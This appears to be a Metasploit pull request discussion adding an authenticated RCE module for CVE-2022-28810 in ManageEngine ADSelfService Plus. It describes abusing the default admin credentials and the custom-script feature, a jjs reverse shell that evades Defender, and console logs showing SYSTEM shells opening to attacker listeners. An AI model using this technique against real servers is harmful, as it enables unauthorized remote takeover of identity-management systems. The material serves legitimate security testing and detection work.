ManageEngine ADSelfService Plus Authenticated RCE (CVE-2022-28810) #16475

Merged

smcintyre-r7 merged 3 commits into `rapid7:master` from `jbaines-r7:cve_2022_28810` on Apr 20

Conversation 13 | Commits 3 | Checks 18 | Files changed 3

jbaines-r7 commented on Apr 19 Contributor

This is an implementation of an attack Rapid7 observed in the wild against ManageEngine ADSelfService Plus (ADSSP). Attackers were using the ADSSP's "custom script" functionality to execute arbitrary operating system commands whenever domain users reset their passwords. The "custom script" logic can only be accessed by the `admin` user, but `admin` has a default password (`admin`) that isn't getting changed as often as you'd hope.

The "custom script" functionality that this module abuses was removed in build 6122 to address CVE-2022-28810. The vendor worded CVE-2022-28810 in such a way that it's unclear if they think the specific behavior this module abuses falls under the umbrella of CVE-2022-28810. But, since my name is associated with the CVE, I'm going to claim some type of authoritative knowledge and say, "Yes, fixing CVE-2022-28810 is in part about preventing arbitrary command execution using custom scripts."

Anyway. There are a few of "interesting" things about this module because isn't there always?

jjs is good

In the wild, the attacker was executing powershell to download stuff and whatever. Which is fine. But I thought this was a good opportunity to use `jjs` since ADSSP installs Java in tree and we always know where it is relative to our working directory. This was extra interesting because we didn't have a `jjs` reverse shell for Windows, and it is actually a good use for this vulnerability.

So this pull request also adds a reverse shell for Windows using jjs. It's almost entirely a copy and paste of **@bcoles** work... to the point I didn't take any credit (there were a few minor tweaks but nothing to get all excited about). I enjoy `jjs` because the payload will execute "in memory" ish and Defender still seems not to give a hoot about it so you never have to mess around with builtin Windows AV. I actually published my own jjs c2 a number of months before the cited links in the `jjs_reverse_tcp.rb` but I'm sure others did too. Either way, jjs is good. I'm very happy to use jjs here.

There's always the argument that the module should drop meterpeter but this is likely to be the more successful solution

DisablePayloadHandler

This module sets `DisablePayloadHandler` to true and then starts it's own payload handler (code which was stolen almost wholesale from `windows/local/persistence.rb`). This is a side affect from the module requiring user interaction to execute the payload. The module is set to `passive` so it can wait in the background, but it will simply exit after a brief timeout if using the default payload handler. Hence controlling it's own handler is the solution.

TARGET_RESET

Exploitation leaves our payload in the custom script form, so I added an option that will simply clean up the target if the user specifies `true` . Again, due to the user interaction nature of this attack, there isn't a great time to clean everything up (it's not as simple as deleting a file), so I figured this was a reasonable solution. 🤷

Default port

By default this thing installs as HTTP on 8888. It can be configured to use HTTPs (9251 by default). I left the default port as 8888 with SSL set to false, but I think it's more likely that exploitable cases will be using HTTPs. Thoughts? Should I switch it over?

I've attached both video and pcap demonstrating exploitation. The video is worth a watch to understand what is happening, probably. The pcap should be useful for all of our signature writing friends (it's HTTP by default 😱). That's it.

Verification

List the steps needed to make sure this thing works

- ☐ Follow the setup steps in the documentation
- ☐ Start `msfconsole`
- ☐ use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810`
- ☐ `set RHOST <ip>`
- ☐ `set LHOST <ip>`

- □ `check`
- □ Verify the remote host is vulnerable.
- □ `run`
- □ Verify the module is waiting for a reverse TCP connection
- □ Navigate to the ADSelfService Plus web UI and reset your test users password.
- □ After a new password has been set, verify the module received a reverse shell.
- □ Exit the shell
- □ Do `set TARGET_RESET true`
- □ Do `run`
- □ Navigate to the ADSelfService Plus web UI, log in as admin, and verify that the custom scripts have been removed and disabled ("Configuration" -> "Self Service" -> "Policy Configuration" -> "Advanced" -> "Password Sync")

Video || GTFO

https://www.youtube.com/watch?v=eQxth9FUkJE

PCAP || GTFO

manageengine_adssp_reverse_shell.zip

👍 2

jbaines-r7 added 2 commits 7 months ago

`Initial implementation of authenticated RCE against ManageEngine ADSe…` … ae54c8c

`Fixed the name of the jjs cmd` ✓ c77e12e

smcintyre-r7 self-assigned this on Apr 19

smcintyre-r7 added **module** docs **rn-modules** labels on Apr 19

smcintyre-r7 requested changes on Apr 19

View changes

smcintyre-r7 left a comment • edited ▾ Contributor

Module is working great. The detailed setup steps were super helpful. I just left a few comments based on my review.

▶ Testing Output

documentation/modules/exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810.md Outdated Show resolved

modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb Outdated Show resolved

modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb Outdated Show resolved

modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb Outdated Show resolved

modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb Outdated Show resolved

Improve JSON cleanup, fix jjs specific wording, and moved JJS_PATH to… … ✓ aba48a6

jbaines-r7 commented on Apr 20 Contributor Author

Updated to address all comments. Thanks for that bit of JSON clean-up code, Spencer! That makes this a bit less sketchy 😄

Retested:

```
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 10.0.0.20:8888 - The target appears to be vulnerable. This determination is based on the
version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic
check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50151 ) at 2022-04-20 06:24:15
-0700

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...


Shell Banner:
M
-----


C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system

C:\ManageEngine\ADSelfService Plus\bin>exit
[*] 10.0.0.20 - Command shell session 1 closed.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set TARGET_RESET true
TARGET_RESET => true
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 2.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Disabling custom script functionality
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[+] Done!

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
```

And manually verified the custom scripts fields were reset.

jbaines-r7 requested a review from **smcintyre-r7** 7 months ago

wvu commented on Apr 20 Contributor

Yay, a `jjs` shell!

❤️ 1

smcintyre-r7 added a commit that referenced this pull request on Apr 20

`Land #16475, ManageEngine ADSelfService Plus RCE` ✓ 8e2bd3c

smcintyre-r7 merged commit **aba48a6** into `rapid7:master` on Apr 20

20 checks passed

View details

smcintyre-r7 approved these changes on Apr 20

View changes

smcintyre-r7 commented on Apr 20 Contributor

Thanks for implementing those changes. I just retested the module and confirmed it's still working.

```
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOSTS
192.168.159.87
RHOSTS => 192.168.159.87
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 192.168.159.87:8888 - The target appears to be vulnerable. This determination is based on the
version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > exploit
[*] Exploit running as background job 0.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This determination is based on the version string: 6121.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for msflab.local
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler


[*] Started reverse TCP handler on 192.168.159.128:4444
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Command shell
session 1 opened (192.168.159.128:4444 -> 192.168.159.87:58544 ) at 2022-04-20 15:20:39 -0400

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions

Active sessions
===============
  Id  Name  Type                Information
Connection
  --  ----  ----                -----------
----------
  1         shell cmd/windows  Shell Banner: Microsoft Windows [Version 10.0.19044.1645] (c)
Microsoft Corp...  192.168.159.128:4444 -> 192.168.159.87:58544  (192.168.159.87)

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions -i -1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\ManageEngine\ADSelfService Plus\bin>
-----


get
uidC:\ManageEngine\ADSelfService Plus\bin>
getuid
'getuid' is not recognized as an internal or external command,
operable program or batch file.

C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system

C:\ManageEngine\ADSelfService Plus\bin>exit
[*] 192.168.159.87 - Command shell session 1 closed.
```

Merged!

🎉 1

smcintyre-r7 commented on Apr 20 Contributor

Release Notes

This adds an exploit for CVE-2022-28810 which is an authenticated RCE in ManageEngine ADSelfService Plus.

jmartin-r7 mentioned this pull request on Jun 15

Fix missing and incomplete specs #16679

Merged

1 task

Reviewers

smcintyre-r7 ✓

Assignees

smcintyre-r7

Labels

docs module rn-modules

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

3 participants